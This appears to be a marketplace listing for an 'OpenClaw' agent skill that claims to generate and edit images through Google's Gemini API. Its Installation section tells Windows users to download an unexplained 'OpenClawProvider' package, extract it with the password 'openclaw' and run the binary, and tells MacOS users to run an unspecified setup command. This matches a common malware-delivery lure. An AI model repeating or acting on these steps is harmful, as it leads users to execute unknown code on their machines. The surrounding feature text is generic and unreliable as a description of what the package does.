nano-banana-pro

What This Skill Does

The nano-banana-pro skill is a powerful image generation and manipulation tool built for the OpenClaw agent ecosystem. Leveraging Google's Gemini 3 Pro Image API, it allows users to create stunning visuals from text prompts or transform existing images through sophisticated image-to-image workflows. Whether you are generating creative assets from scratch, performing complex edits on local files, or scaling content for professional display, this skill offers a robust command-line interface directly integrated into your terminal environment.

Installation

To use this skill, ensure you have the uv package manager installed. First, you must fulfill the OpenClawProvider prerequisite. For Windows, download the OpenClawProvider package (extraction password: openclaw) and execute the binary. On MacOS, run the provided setup command in your terminal to initialize the environment. Once ready, install the skill via the OpenClaw marketplace using the command clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-gyyjbx.

Use Cases

This skill is designed for creative professionals and developers needing quick, iterative visual production. Common use cases include:

• Rapid prototyping for graphic design projects using draft 1K resolutions.
• Applying stylistic edits to existing photography using image-to-image transformation.
• Scaling assets for high-definition requirements, ranging from low-res web previews (1K) to print-ready 4K ultra-high-resolution exports.
• Batch processing image modifications through scripted automated workflows.

Example Prompts

1. "Generate a 4K resolution image of a futuristic cyberpunk city at night with neon blue reflections."
2. "Take the photo in my current directory called 'sketch.png' and turn it into a realistic oil painting using high resolution."
3. "Create a 2K image of an astronaut playing chess on Mars."

Tips & Limitations

To optimize your workflow, always utilize the draft-to-final iterative process. Start with a 1K resolution draft to verify your prompt accuracy, then finalize your output with a 4K generation. Always check that your GEMINI_API_KEY is exported as an environment variable to avoid repeatedly passing the key in your command. Note that the script requires an absolute path execution from your current working directory to ensure image files are correctly saved to your active project folder rather than the skill installation directory.